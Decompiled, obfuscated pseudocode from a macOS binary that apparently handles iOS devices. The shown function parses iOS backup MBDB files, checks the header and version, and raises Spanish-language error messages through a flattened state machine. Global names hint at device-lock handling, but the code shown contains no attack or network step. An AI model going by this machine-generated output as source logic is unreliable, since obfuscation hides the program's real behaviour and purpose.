int dword_10029F648; // weak
int dword_10029F64C; // weak
int dword_10029F650; // weak
int dword_10029F654; // weak
int dword_10029F658; // weak
int dword_10029F65C; // weak
int dword_10029F660; // weak
int dword_10029F664; // weak
int dword_10029F66C; // weak
int dword_10029F670; // weak
int dword_10029F688; // weak
int dword_10029F698; // weak
int dword_10029F69C; // weak
int dword_10029F6A0; // weak
int dword_10029F6A4; // weak
int dword_10029F6A8; // weak
int dword_10029F6AC; // weak
int dword_10029F714; // weak
int dword_10029F71C; // weak
int dword_10029F720; // weak
int dword_10029F724; // weak
int dword_10029F728; // weak
int dword_10029F730; // weak
int dword_10029F734; // weak
int dword_10029F738; // weak
int dword_10029F740; // weak
int dword_10029F744; // weak
int dword_10029F7E4; // weak
int dword_10029F7EC; // weak
int dword_10029F7F0; // weak
int dword_10029F7F4; // weak
int dword_10029F7F8; // weak
id SendAttemptURL; // idb
int connected; // weak
int ct; // weak
char InProcessDevice; // weak
char LockedOTA; // weak
id gAldazDecryptedResponse; // idb
id gAldazU; // idb
id UDID_DEVICE; // idb
id BUILD; // idb
id DeviceClass; // idb
id myBundle; // idb
id AldazDevClass; // idb
id activateTrackingArea; // idb
__int64 idevice; // weak
id imei2; // idb
id armClass; // idb
id url_image; // idb
id BACKUP_DIR; // idb
// extern _UNKNOWN OBJC_CLASS___NSBundle; weak
// extern _UNKNOWN OBJC_CLASS___NSCharacterSet; weak
// extern _UNKNOWN OBJC_CLASS___NSDateFormatter; weak
// extern _UNKNOWN OBJC_CLASS___NSFileHandle; weak
// extern _UNKNOWN OBJC_CLASS___NSFileManager; weak
// extern _UNKNOWN OBJC_CLASS___NSHTTPURLResponse; weak
// extern _UNKNOWN OBJC_CLASS___NSHost; weak
// extern _UNKNOWN OBJC_CLASS___NSJSONSerialization; weak
// extern _UNKNOWN OBJC_CLASS___NSMutableString; weak
// extern _UNKNOWN OBJC_CLASS___NSMutableURLRequest; weak
// extern _UNKNOWN OBJC_CLASS___NSNotificationCenter; weak
// extern _UNKNOWN OBJC_CLASS___NSNumber; weak
// extern _UNKNOWN OBJC_CLASS___NSPipe; weak
// extern _UNKNOWN OBJC_CLASS___NSProcessInfo; weak
// extern _UNKNOWN OBJC_CLASS___NSPropertyListSerialization; weak
// extern _UNKNOWN OBJC_CLASS___NSRegularExpression; weak
// extern _UNKNOWN OBJC_CLASS___NSString; weak
// extern _UNKNOWN OBJC_CLASS___NSTask; weak
// extern _UNKNOWN OBJC_CLASS___NSThread; weak
// extern _UNKNOWN OBJC_CLASS___NSURLConnection; weak
// extern _UNKNOWN OBJC_CLASS___NSURLCredential; weak
// extern _UNKNOWN OBJC_CLASS___NSURLSession; weak
// extern _UNKNOWN OBJC_CLASS___NSURLSessionConfiguration; weak
// extern _UNKNOWN OBJC_CLASS___NSUUID; weak
// extern _UNKNOWN OBJC_CLASS___NSObject; weak
// extern void *_NSConcreteGlobalBlock[32];
// extern void *_NSConcreteStackBlock[32];
// extern dispatch_queue_s _dispatch_main_q;
// extern _UNKNOWN OBJC_CLASS___NSAlert; weak
// extern _UNKNOWN OBJC_CLASS___NSColor; weak
// extern _UNKNOWN OBJC_CLASS___NSCursor; weak
// extern _UNKNOWN OBJC_CLASS___NSImage; weak
// extern _UNKNOWN OBJC_CLASS___NSPasteboard; weak
// extern _UNKNOWN OBJC_CLASS___NSTrackingArea; weak
// extern _UNKNOWN OBJC_CLASS___NSWorkspace; weak
// extern _UNKNOWN OBJC_CLASS___NSArray; weak
// extern _UNKNOWN OBJC_CLASS___NSData; weak
// extern _UNKNOWN OBJC_CLASS___NSDate; weak
// extern _UNKNOWN OBJC_CLASS___NSDictionary; weak
// extern _UNKNOWN OBJC_CLASS___NSException; weak
// extern _UNKNOWN OBJC_CLASS___NSMutableArray; weak
// extern _UNKNOWN OBJC_CLASS___NSMutableData; weak
// extern _UNKNOWN OBJC_CLASS___NSMutableDictionary; weak
// extern _UNKNOWN OBJC_CLASS___NSRunLoop; weak
// extern _UNKNOWN OBJC_CLASS___NSTimeZone; weak
// extern _UNKNOWN OBJC_CLASS___NSURL; weak
// extern _UNKNOWN OBJC_CLASS___NSUserDefaults; weak
// extern _UNKNOWN __NSDictionary0__; weak
// extern const CFDictionaryKeyCallBacks kCFTypeDictionaryKeyCallBacks;
// extern const CFDictionaryValueCallBacks kCFTypeDictionaryValueCallBacks;
//----- (0000000100000EE0) ----------------------------------------------------
id __cdecl +[Mbdb fromBytes:](id a1, SEL a2, id a3)
{
id v3; // r15
bool v4; // zf
int v5; // eax
int v6; // ecx
int v7; // eax
bool v8; // cf
int v9; // ecx
id v10; // rax
id v11; // r13
NSData *v12; // rax
NSData *v13; // r14
char v14; // cf
int v15; // ecx
id v16; // rax
id v17; // rax
id v18; // r13
id v19; // rax
NSData *v20; // rax
NSData *v21; // r13
void *v22; // rax
id v23; // rax
id v24; // rax
id v25; // rax
id v26; // r13
void *v27; // rax
id v28; // rax
__int64 v29; // rax
const char *v30; // rbx
void *v31; // rax
__int64 v33; // [rsp+0h] [rbp-110h] BYREF
const char *v34; // [rsp+8h] [rbp-108h]
id v35; // [rsp+10h] [rbp-100h]
const char *v36; // [rsp+18h] [rbp-F8h]
SEL v37; // [rsp+20h] [rbp-F0h]
SEL v38; // [rsp+28h] [rbp-E8h]
unsigned __int64 v39; // [rsp+30h] [rbp-E0h]
unsigned __int64 v40; // [rsp+38h] [rbp-D8h]
SEL v41; // [rsp+40h] [rbp-D0h]
id v42; // [rsp+48h] [rbp-C8h]
id v43; // [rsp+50h] [rbp-C0h]
SEL v44; // [rsp+58h] [rbp-B8h]
id v45; // [rsp+60h] [rbp-B0h]
const char *v46; // [rsp+68h] [rbp-A8h]
const char *v47; // [rsp+70h] [rbp-A0h]
SEL v48; // [rsp+78h] [rbp-98h]
id v49; // [rsp+80h] [rbp-90h]
unsigned int v50; // [rsp+8Ch] [rbp-84h]
int v51; // [rsp+90h] [rbp-80h]
int v52; // [rsp+94h] [rbp-7Ch] BYREF
id v53; // [rsp+98h] [rbp-78h]
id v54; // [rsp+A0h] [rbp-70h]
id v55; // [rsp+A8h] [rbp-68h]
unsigned __int64 *v56; // [rsp+B0h] [rbp-60h]
SEL v57; // [rsp+B8h] [rbp-58h]
__int64 *v58; // [rsp+C0h] [rbp-50h]
SEL v59; // [rsp+C8h] [rbp-48h]
__int16 v60; // [rsp+D0h] [rbp-40h]
__int16 v61; // [rsp+D2h] [rbp-3Eh]
bool v62; // [rsp+D4h] [rbp-3Ch]
bool v63; // [rsp+D5h] [rbp-3Bh]
bool v64; // [rsp+D6h] [rbp-3Ah]
bool v65; // [rsp+D7h] [rbp-39h]
bool v66; // [rsp+D8h] [rbp-38h]
bool v67; // [rsp+D9h] [rbp-37h]
_BYTE v68[6]; // [rsp+DAh] [rbp-36h] BYREF
int *v69; // [rsp+E0h] [rbp-30h]
v3 = a3;
v50 = 0;
v52 = -594633998;
v69 = &v52;
v49 = a3;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v52 > 17546311 )
{
if ( v52 <= 1077369520 )
{
if ( v52 <= 734187462 )
{
if ( v52 > 437178848 )
{
if ( v52 > 655176991 )
{
switch ( v52 )
{
case 655176992:
v38 = "addObject:";
*v69 = 1357741664;
break;
case 673164381:
v14 = 0;
v5 = -640322687;
v15 = 1332745377;
LABEL_254:
if ( !v14 )
v5 = v15;
goto LABEL_256;
case 715320866:
v23 = objc_msgSend(v3, v57, 0, 4);
v53 = objc_retainAutoreleasedReturnValue(v23);
v24 = objc_msgSend(CFSTR("LQU\xA5"), "dataUsingEncoding:", 4);
v35 = objc_retainAutoreleasedReturnValue(v24);
a2 = "isEqualToData:";
v36 = "isEqualToData:";
v64 = (unsigned __int8)objc_msgSend(v53, "isEqualToData:", v35) == 0;
*v69 = 1002801945;
break;
}
}
else
{
switch ( v52 )
{
case 437178849:
v4 = !v66;
v5 = 455788176;
v6 = -826923600;
LABEL_231:
if ( !v4 )
v5 = v6;
goto LABEL_256;
case 455788176:
v31 = (void *)HikariFunctionWrapper_295(&OBJC_CLASS___Mbdb, a2);
v55 = objc_msgSend(v31, "init");
a2 = "copy";
v45 = (id)HikariFunctionWrapper_297(v54, "copy");
*v69 = -990268985;
break;
case 512130474:
v8 = 1;
v5 = 1525107257;
v9 = 762619293;
goto LABEL_247;
}
}
}
else if ( v52 > 247182636 )
{
switch ( v52 )
{
case 247182637:
*v69 = -1899396799;
break;
case 271355309:
*v69 = 862428488;
break;
case 285932401:
v14 = 1;
v43 = &OBJC_CLASS___NSException;
v5 = 1062536572;
v15 = 285932401;
goto LABEL_254;
}
}
else
{
switch ( v52 )
{
case 17546312:
*v69 = 1593659829;
break;
case 52181723:
*v69 = 1031158338;
break;
case 137920773:
*v56 = 6;
v5 = -281845818;
goto LABEL_256;
}
}
}
else if ( v52 <= 1002801944 )
{
if ( v52 > 862428487 )
{
switch ( v52 )
{
case 862428488:
v8 = 0;
v5 = 1197473019;
LABEL_220:
v9 = -766435105;
goto LABEL_247;
case 943657341:
dword_10029F1E0 = 1;
v14 = 0;
v58 = &v33 - 2;
v5 = 1631633433;
v15 = 1782207436;
goto LABEL_254;
case 963806072:
*v69 = -1487042719;
break;
}
}
else
{
switch ( v52 )
{
case 734187463:
v5 = -1473541270;
goto LABEL_256;
case 762619293:
v39 = *v56;
a2 = v59;
v29 = HikariFunctionWrapper_293(v3, v59, 1079005156);
v4 = 0;
v40 = v29;
v5 = 762619293;
v6 = 15854045;
goto LABEL_231;
case 798362424:
objc_retain(v3);
*v69 = -110088252;
break;
}
}
}
else if ( v52 <= 1026672773 )
{
switch ( v52 )
{
case 1002801945:
*v69 = 1024684189;
break;
case 1021113033:
qmemcpy(&v68[4], "md", 2);
asc_10025FCA0[0] = 76;
asc_10025FCA0[1] = 97;
asc_10025FCA0[2] = 32;
asc_10025FCA0[3] = 118;
asc_10025FCA0[4] = 101;
asc_10025FCA0[5] = 114;
asc_10025FCA0[6] = 115;
asc_10025FCA0[7] = 105;
asc_10025FCA0[8] = 243;
asc_10025FCA0[9] = 110;
asc_10025FCA0[10] = 32;
asc_10025FCA0[11] = 100;
a2 = (SEL)7719;
asc_10025FCA0[12] = 101;
asc_10025FCA0[13] = 108;
asc_10025FCA0[14] = 32;
asc_10025FCA0[15] = 97;
asc_10025FCA0[16] = 114;
asc_10025FCA0[17] = 99;
v3 = v49;
asc_10025FCA0[18] = 104;
aLqu[0] = 109;
aLqu[1] = 98;
aLqu[2] = 100;
aLqu[3] = 98;
aLqu[4] = 0;
asc_10025FCA0[19] = 105;
asc_10025FCA0[20] = 118;
v60 = -18449;
v5 = 271355309;
goto LABEL_256;
case 1024684189:
objc_release(v35);
*v69 = 1092913435;
break;
}
}
else if ( v52 > 1031614574 )
{
if ( v52 == 1031614575 )
{
v8 = 1;
v5 = 1709006123;
v9 = 715320866;
LABEL_247:
if ( v8 )
v5 = v9;
LABEL_256:
*v69 = v5;
}
else if ( v52 == 1062536572 )
{
*v69 = -1875467240;
}
}
else
{
if ( v52 == 1026672774 )
{
v8 = 0;
v5 = -1388034382;
goto LABEL_245;
}
if ( v52 == 1031158338 )
{
a2 = (SEL)4281737303LL;
v4 = 0;
v41 = "setRecords:";
v5 = 52181723;
v6 = -1194315031;
goto LABEL_231;
}
}
}
else if ( v52 > 1525107256 )
{
if ( v52 <= 1782207435 )
{
if ( v52 > 1631633432 )
{
switch ( v52 )
{
case 1631633433:
dword_10029F1E0 = 1;
*v69 = 943657341;
break;
case 1709006123:
v25 = objc_msgSend(v3, v57, 0, 4);
v26 = objc_retainAutoreleasedReturnValue(v25);
v27 = (void *)HikariFunctionWrapper_299(CFSTR("LQU\xA5"), "dataUsingEncoding:", 4);
v28 = objc_retainAutoreleasedReturnValue(v27);
a2 = "isEqualToData:";
HikariFunctionWrapper_301(v26, "isEqualToData:", v28);
*v69 = 715320866;
break;
case 1723009570:
a2 = (SEL)1532834682;
asc_10025FCA0[31] = v61;
asc_10025FCA0[32] = 115;
asc_10025FCA0[33] = 32;
asc_10025FCA0[34] = 99;
asc_10025FCA0[35] = 111;
asc_10025FCA0[36] = 109;
asc_10025FCA0[37] = 112;
asc_10025FCA0[38] = 97;
asc_10025FCA0[39] = 116;
asc_10025FCA0[40] = 105;
asc_10025FCA0[41] = 98;
asc_10025FCA0[42] = 108;
asc_10025FCA0[43] = 101;
asc_10025FCA0[44] = 0;
strcpy(asc_10025FC23, "InvalidMBDBFile");
strcpy(a4, "InvalidMBDBVersion");
qmemcpy(v68, "MBDBai", sizeof(v68));
asc_10025FB80[0] = 69;
asc_10025FB80[1] = 108;
asc_10025FB80[2] = 32;
asc_10025FB80[3] = 97;
asc_10025FB80[4] = 114;
asc_10025FB80[5] = 99;
asc_10025FB80[6] = 104;
asc_10025FB80[7] = 105;
asc_10025FB80[8] = 118;
asc_10025FB80[9] = 111;
asc_10025FB80[10] = 32;
asc_10025FB80[11] = 110;
asc_10025FB80[12] = 111;
asc_10025FB80[13] = 32;
asc_10025FB80[14] = 116;
asc_10025FB80[15] = 105;
asc_10025FB80[16] = 101;
asc_10025FB80[17] = 110;
asc_10025FB80[18] = 101;
asc_10025FB80[19] = 32;
asc_10025FB80[20] = 117;
asc_10025FB80[21] = 110;
asc_10025FB80[22] = 32;
asc_10025FB80[23] = 101;
asc_10025FB80[24] = 110;
asc_10025FB80[25] = 99;
asc_10025FB80[26] = 97;
asc_10025FB80[27] = 98;
asc_10025FB80[28] = 101;
asc_10025FB80[29] = 122;
asc_10025FB80[30] = 97;
asc_10025FB80[31] = 100;
asc_10025FB80[32] = 111;
asc_10025FB80[33] = 32;
asc_10025FB80[34] = 77;
asc_10025FB80[35] = 66;
asc_10025FB80[36] = 68;
asc_10025FB80[37] = 66;
asc_10025FB80[38] = 32;
asc_10025FB80[39] = 118;
asc_10025FB80[40] = 225;
asc_10025FB80[41] = 108;
asc_10025FB80[42] = 105;
asc_10025FB80[43] = 100;
asc_10025FB80[44] = 111;
v3 = v49;
asc_10025FB80[45] = 0;
v5 = -747681495;
goto LABEL_256;
}
}
else
{
switch ( v52 )
{
case 1525107257:
a2 = v59;
HikariFunctionWrapper_307(v3, v59);
*v69 = 762619293;
break;
case 1593659829:
v8 = 0;
v5 = 1127507523;
v9 = -364820957;
goto LABEL_247;
case 1605542731:
objc_release(v53);
*v69 = 10000429;
break;
}
}
}
else if ( v52 <= 1999826122 )
{
switch ( v52 )
{
case 1782207436:
*v69 = -356896851;
break;
case 1817712270:
v30 = v46;
a2 = "raise:format:";
+[NSException raise:format:](
&OBJC_CLASS___NSException,
"raise:format:",
CFSTR("\xC7\x06\x14Y\xA9k\xC3\xCDٛmN\xE2\xFB\x02\xA9"),
CFSTR("昉\x37\xDB\x43\xD3᱆ꏒ覗페㐋陏鄢ᘄよ焍䮁郿ኹӵ\u171D풥ꈮ䜃樇₰ṽ⁍∅훵縘那獱僊즻\u0B12ᜅ鑰ꜭ\uFDD8㿓鮩䱸"));
*v69 = -822416741;
v47 = v30;
break;
case 1970323342:
v5 = -1487042719;
goto LABEL_256;
}
}
else if ( v52 > 2050786879 )
{
if ( v52 == 2050786880 )
{
*v69 = 655176992;
}
else if ( v52 == 2094168366 )
{
v14 = 1;
v34 = "isEqualToData:";
v5 = 1334694708;
LABEL_240:
v15 = 2094168366;
goto LABEL_254;
}
}
else
{
if ( v52 == 1999826123 )
{
a2 = (SEL)3631774313LL;
v14 = 0;
v5 = -1670163339;
goto LABEL_240;
}
if ( v52 == 2000276364 )
{
a2 = v59;
v63 = (unsigned __int64)objc_msgSend(v3, v59) >= 6;
v4 = 0;
v57 = "subdataWithRange:";
v5 = 2000276364;
v6 = -1425643530;
goto LABEL_231;
}
}
}
else if ( v52 <= 1197473018 )
{
if ( v52 > 1127507522 )
{
switch ( v52 )
{
case 1127507523:
a2 = v44;
objc_msgSend(
v43,
v44,
CFSTR("4\x98\xDA\x2DC\xD4\x5Dy([ɸ\x88V0^p@\x98"),
CFSTR("됅횋믯쉃≒ᣜ鉣ꆓ꽕뛥᭳蓐\x41\xDB\x4C\xE7讇鮒尽ﵚ挵\u16FE䀺⸑㯐ɫⒿᙍ쁂㛰讝溭헵\u0B0E슆嶜⻓\u0C29㺋㰕줎\x64\xD9\xF9\x62"));
v14 = 0;
v5 = -364820957;
v15 = -1835714311;
goto LABEL_254;
case 1148500994:
v4 = !v67;
v5 = 455788176;
v6 = -1540490931;
goto LABEL_231;
case 1149440539:
*v69 = 1970323342;
break;
}
}
else
{
switch ( v52 )
{
case 1077369521:
*v69 = -489770599;
break;
case 1092860056:
v14 = 0;
v5 = 1631633433;
v15 = 943657341;
goto LABEL_254;
case 1092913435:
v14 = 0;
v5 = -886111845;
v15 = 1605542731;
goto LABEL_254;
}
}
}
else if ( v52 <= 1334455417 )
{
switch ( v52 )
{
case 1197473019:
asc_10025FCA0[21] = -2 * (v60 & 0x3780) + v60 - 18560;
asc_10025FCA0[22] = 32;
asc_10025FCA0[23] = 77;
asc_10025FCA0[24] = 66;
asc_10025FCA0[25] = 68;
asc_10025FCA0[26] = 66;
asc_10025FCA0[27] = 32;
asc_10025FCA0[28] = 110;
a2 = (SEL)101;
v8 = 0;
asc_10025FCA0[29] = 111;
asc_10025FCA0[30] = 32;
v61 = 101;
v5 = -422391099;
goto LABEL_220;
case 1312906400:
v51 = dword_10029F1E0;
v5 = -227002901;
goto LABEL_256;
case 1332745377:
v22 = (void *)HikariFunctionWrapper_289(&OBJC_CLASS___NSMutableArray, "array");
v54 = objc_retainAutoreleasedReturnValue(v22);
a2 = v59;
v66 = (unsigned __int64)HikariFunctionWrapper_291(v3, v59) >= 7;
v8 = 0;
v5 = 437178849;
v9 = -640322687;
goto LABEL_247;
}
}
else if ( v52 > 1342155396 )
{
if ( v52 == 1342155397 )
{
*v69 = 1312906400;
}
else if ( v52 == 1357741664 )
{
*v69 = -1540490931;
}
}
else
{
if ( v52 == 1334455418 )
{
a2 = (SEL)1803527530;
v67 = v39 < v40;
v8 = 1;
v5 = 1334455418;
v9 = 1148500994;
goto LABEL_247;
}
if ( v52 == 1334694708 )
*v69 = -1755641306;
}
}
if ( v52 > -687210958 )
break;
if ( v52 > -1301955597 )
{
if ( v52 <= -950342073 )
{
if ( v52 > -1138003892 )
{
switch ( v52 )
{
case -1138003891:
a2 = (SEL)1581569158;
v8 = 1;
v5 = -1130805783;
v9 = 1334455418;
goto LABEL_247;
case -1130805783:
*v69 = 1334455418;
break;
case -990268985:
v8 = 0;
v5 = 1031158338;
v9 = 52181723;
goto LABEL_247;
}
}
else
{
switch ( v52 )
{
case -1301955596:
v5 = 2000276364;
goto LABEL_256;
case -1194315031:
*v69 = -496550458;
break;
case -1150947306:
v10 = objc_msgSend(v3, v57, 4, 2);
v11 = objc_retainAutoreleasedReturnValue(v10);
*(_BYTE *)v58 = 5;
*((_BYTE *)v58 + 1) = 0;
v12 = +[NSData dataWithBytes:length:](&OBJC_CLASS___NSData, "dataWithBytes:length:", v58, 2);
v13 = objc_retainAutoreleasedReturnValue(v12);
a2 = v48;
HikariFunctionWrapper_303(v11, v48, v13);
objc_release(v13);
*v69 = -131761368;
break;
}
}
}
else if ( v52 <= -826923601 )
{
switch ( v52 )
{
case -950342072:
*v69 = -1473541270;
break;
case -935371531:
*v69 = 1026672774;
break;
case -886111845:
objc_release(v53);
*v69 = 1605542731;
break;
}
}
else if ( v52 > -766435106 )
{
if ( v52 == -766435105 )
{
asc_10025FCA0[21] = v60 ^ 0xB780;
asc_10025FCA0[22] = 32;
asc_10025FCA0[23] = 77;
asc_10025FCA0[24] = 66;
asc_10025FCA0[25] = 68;
asc_10025FCA0[26] = 66;
asc_10025FCA0[27] = 32;
asc_10025FCA0[28] = 110;
asc_10025FCA0[29] = 111;
asc_10025FCA0[30] = 32;
*v69 = 1197473019;
}
else if ( v52 == -747681495 )
{
*v69 = 1092860056;
}
}
else
{
if ( v52 == -826923600 )
goto LABEL_183;
if ( v52 == -822416741 )
{
v48 = v47;
v8 = 1;
v5 = -1150947306;
v9 = -131761368;
goto LABEL_247;
}
}
}
else if ( v52 <= -1755641307 )
{
if ( v52 > -1844182830 )
{
switch ( v52 )
{
case -1844182829:
v4 = !v62;
v5 = 1092860056;
v6 = -464752440;
goto LABEL_231;
case -1835714311:
*v69 = 734187463;
break;
case -1835659456:
a2 = (SEL)1786478795;
v14 = 0;
v5 = 14137228;
v15 = 1723009570;
goto LABEL_254;
}
}
else
{
switch ( v52 )
{
case -1899396799:
v8 = 1;
v5 = -1865493230;
v9 = 137920773;
goto LABEL_247;
case -1875467240:
v4 = 0;
v5 = 1077369521;
v6 = -489770599;
goto LABEL_231;
case -1865493230:
*v56 = 6;
*v69 = 137920773;
break;
}
}
}
else if ( v52 <= -1487042720 )
{
switch ( v52 )
{
case -1755641306:
v8 = 0;
v5 = 1026672774;
LABEL_245:
v9 = -935371531;
goto LABEL_247;
case -1670163339:
*v69 = 2094168366;
break;
case -1540490931:
v17 = objc_msgSend(&OBJC_CLASS___MbdbRecord, v37, v3, v56);
v18 = objc_retainAutoreleasedReturnValue(v17);
a2 = v38;
objc_msgSend(v54, v38, v18);
objc_release(v18);
*v69 = 512130474;
break;
}
}
else if ( v52 > -1425643531 )
{
if ( v52 == -1425643530 )
{
v4 = !v63;
v5 = 1999826123;
v6 = 1031614575;
goto LABEL_231;
}
if ( v52 == -1388034382 )
{
*v69 = 1817712270;
v46 = v34;
}
}
else
{
if ( v52 == -1487042719 )
{
v14 = 1;
v5 = -1844182829;
v15 = -1487042719;
goto LABEL_254;
}
if ( v52 == -1473541270 )
{
v4 = 0;
v5 = -1473541270;
v6 = 247182637;
goto LABEL_231;
}
}
}
if ( v52 <= -364820958 )
break;
if ( v52 <= -190466109 )
{
if ( v52 > -281845819 )
{
switch ( v52 )
{
case -281845818:
*v69 = 673164381;
break;
case -227002901:
*v69 = -374089374;
break;
case -221575587:
v62 = v51 == 0;
v4 = 0;
v5 = -389702563;
v6 = 1149440539;
goto LABEL_231;
}
}
else
{
switch ( v52 )
{
case -364820957:
a2 = v44;
HikariFunctionWrapper_305(
v43,
v44,
CFSTR("4\x98\xDA\x2DC\xD4\x5Dy([ɸ\x88V0^p@\x98"),
CFSTR("됅횋믯쉃≒ᣜ鉣ꆓ꽕뛥᭳蓐\x41\xDB\x4C\xE7讇鮒尽ﵚ挵\u16FE䀺⸑㯐ɫⒿᙍ쁂㛰讝溭헵\u0B0E슆嶜⻓\u0C29㺋㰕줎\x64\xD9\xF9\x62"));
*v69 = 1127507523;
break;
case -356896851:
a2 = (SEL)579164982;
v5 = -110088252;
goto LABEL_256;
case -344901849:
asc_10025FCA0[0] = 76;
asc_10025FCA0[1] = 97;
asc_10025FCA0[2] = 32;
asc_10025FCA0[3] = 118;
asc_10025FCA0[4] = 101;
asc_10025FCA0[5] = 114;
asc_10025FCA0[6] = 115;
asc_10025FCA0[7] = 105;
asc_10025FCA0[8] = 243;
asc_10025FCA0[9] = 110;
asc_10025FCA0[10] = 32;
asc_10025FCA0[11] = 100;
asc_10025FCA0[12] = 101;
asc_10025FCA0[13] = 108;
asc_10025FCA0[14] = 32;
asc_10025FCA0[15] = 97;
asc_10025FCA0[16] = 114;
asc_10025FCA0[17] = 99;
asc_10025FCA0[18] = 104;
aLqu[0] = 109;
aLqu[1] = 98;
aLqu[2] = 100;
aLqu[3] = 98;
aLqu[4] = 0;
asc_10025FCA0[19] = 105;
asc_10025FCA0[20] = 118;
LABEL_79:
*v69 = 1021113033;
break;
}
}
}
else if ( v52 <= -110088253 )
{
switch ( v52 )
{
case -190466108:
*v69 = -1301955596;
break;
case -171814040:
goto LABEL_182;
case -131761368:
v19 = objc_msgSend(v3, v57, 4, 2);
v42 = objc_retainAutoreleasedReturnValue(v19);
*(_BYTE *)v58 = 5;
*((_BYTE *)v58 + 1) = 0;
v20 = +[NSData dataWithBytes:length:](&OBJC_CLASS___NSData, "dataWithBytes:length:", v58, 2);
v21 = objc_retainAutoreleasedReturnValue(v20);
a2 = v48;
v65 = (unsigned __int8)objc_msgSend(v42, v48, v21) == 0;
objc_release(v21);
v14 = 1;
v5 = -687210957;
v15 = -1150947306;
goto LABEL_254;
}
}
else if ( v52 > 14137227 )
{
if ( v52 == 14137228 )
{
asc_10025FCA0[31] = v61;
asc_10025FCA0[32] = 115;
asc_10025FCA0[33] = 32;
asc_10025FCA0[34] = 99;
asc_10025FCA0[35] = 111;
asc_10025FCA0[36] = 109;
asc_10025FCA0[37] = 112;
asc_10025FCA0[38] = 97;
asc_10025FCA0[39] = 116;
asc_10025FCA0[40] = 105;
asc_10025FCA0[41] = 98;
asc_10025FCA0[42] = 108;
asc_10025FCA0[43] = 101;
asc_10025FCA0[44] = 0;
strcpy(asc_10025FC23, "InvalidMBDBFile");
strcpy(a4, "InvalidMBDBVersion");
asc_10025FB80[0] = 69;
asc_10025FB80[1] = 108;
asc_10025FB80[2] = 32;
asc_10025FB80[3] = 97;
asc_10025FB80[4] = 114;
asc_10025FB80[5] = 99;
asc_10025FB80[6] = 104;
asc_10025FB80[7] = 105;
asc_10025FB80[8] = 118;
asc_10025FB80[9] = 111;
asc_10025FB80[10] = 32;
asc_10025FB80[11] = 110;
asc_10025FB80[12] = 111;
asc_10025FB80[13] = 32;
asc_10025FB80[14] = 116;
asc_10025FB80[15] = 105;
asc_10025FB80[16] = 101;
asc_10025FB80[17] = 110;
asc_10025FB80[18] = 101;
asc_10025FB80[19] = 32;
asc_10025FB80[20] = 117;
asc_10025FB80[21] = 110;
asc_10025FB80[22] = 32;
asc_10025FB80[23] = 101;
asc_10025FB80[24] = 110;
asc_10025FB80[25] = 99;
asc_10025FB80[26] = 97;
asc_10025FB80[27] = 98;
asc_10025FB80[28] = 101;
asc_10025FB80[29] = 122;
asc_10025FB80[30] = 97;
asc_10025FB80[31] = 100;
asc_10025FB80[32] = 111;
asc_10025FB80[33] = 32;
asc_10025FB80[34] = 77;
asc_10025FB80[35] = 66;
asc_10025FB80[36] = 68;
asc_10025FB80[37] = 66;
asc_10025FB80[38] = 32;
asc_10025FB80[39] = 118;
asc_10025FB80[40] = 225;
asc_10025FB80[41] = 108;
asc_10025FB80[42] = 105;
asc_10025FB80[43] = 100;
asc_10025FB80[44] = 111;
asc_10025FB80[45] = 0;
*v69 = 1723009570;
}
else if ( v52 == 15854045 )
{
*v69 = -1138003891;
}
}
else
{
if ( v52 == -110088252 )
{
v56 = (unsigned __int64 *)(&v33 - 2);
objc_retain(v3);
v59 = "length";
v5 = -190466108;
goto LABEL_256;
}
if ( v52 == 10000429 )
{
v7 = -822416741;
if ( v64 )
v7 = 1817712270;
*v69 = v7;
v46 = v36;
v47 = v36;
}
}
}
if ( v52 <= -464752441 )
break;
if ( v52 > -392704706 )
{
switch ( v52 )
{
case -392704705:
LABEL_183:
*v69 = -671807987;
break;
case -389702563:
*v69 = -221575587;
break;
case -374089374:
v5 = -221575587;
goto LABEL_256;
}
}
else
{
switch ( v52 )
{
case -464752440:
goto LABEL_79;
case -462009001:
a2 = v59;
objc_msgSend(v3, v59);
*v69 = 2000276364;
break;
case -422391099:
*v69 = -1835659456;
break;
}
}
}
if ( v52 > -594633999 )
break;
switch ( v52 )
{
case -687210957:
v4 = !v65;
v5 = 734187463;
v6 = -545074691;
goto LABEL_231;
case -671807987:
v37 = "fromStream:atOffset:";
v5 = 2050786880;
goto LABEL_256;
case -640322687:
v16 = +[NSMutableArray array](&OBJC_CLASS___NSMutableArray, "array");
objc_retainAutoreleasedReturnValue(v16);
a2 = v59;
objc_msgSend(v3, v59);
*v69 = 1332745377;
break;
}
}
if ( v52 > -496550459 )
break;
if ( v52 == -594633998 )
{
v8 = v50 < 0x5C774A2C;
v5 = 1342155397;
v9 = 1312906400;
goto LABEL_247;
}
if ( v52 == -545074691 )
LABEL_182:
*v69 = 285932401;
}
if ( v52 == -489770599 )
{
v8 = 1;
v44 = "raise:format:";
v5 = -489770599;
v9 = 17546312;
goto LABEL_247;
}
}
while ( v52 != -496550458 );
objc_msgSend(v55, v41, v45);
objc_release(v45);
objc_release(v54);
objc_release(v42);
objc_release(v3);
objc_autoreleaseReturnValue(v55);
return v55;
}
// 100005C50: using guessed type __int64 __fastcall HikariFunctionWrapper_289(_QWORD, _QWORD);
// 100005C70: using guessed type __int64 __fastcall HikariFunctionWrapper_291(_QWORD, _QWORD);
// 100005C90: using guessed type __int64 __fastcall HikariFunctionWrapper_293(_QWORD, _QWORD, _QWORD);
// 100005CB0: using guessed type __int64 __fastcall HikariFunctionWrapper_295(_QWORD, _QWORD);
// 100005CD0: using guessed type __int64 __fastcall HikariFunctionWrapper_297(_QWORD, _QWORD);
// 100005CF0: using guessed type __int64 __fastcall HikariFunctionWrapper_299(_QWORD, _QWORD, _QWORD);
// 100005D10: using guessed type __int64 __fastcall HikariFunctionWrapper_301(_QWORD, _QWORD, _QWORD);
// 100005D30: using guessed type __int64 __fastcall HikariFunctionWrapper_303(_QWORD, _QWORD, _QWORD);
// 100005D50: using guessed type __int64 __fastcall HikariFunctionWrapper_305(_QWORD, _QWORD, _QWORD, _QWORD);
// 100005D70: using guessed type __int64 __fastcall HikariFunctionWrapper_307(_QWORD, _QWORD);
// 10025F7F0: using guessed type __objc2_class OBJC_CLASS___Mbdb;
// 10025FA70: using guessed type __objc2_class OBJC_CLASS___MbdbRecord;
// 10025FB80: using guessed type __int16 asc_10025FB80[46];
// 10025FCA0: using guessed type __int16 asc_10025FCA0[45];
// 10025FD30: using guessed type __CFString stru_10025FD30;
// 10025FD70: using guessed type __CFString stru_10025FD70;
// 10025FDB0: using guessed type __CFString stru_10025FDB0;
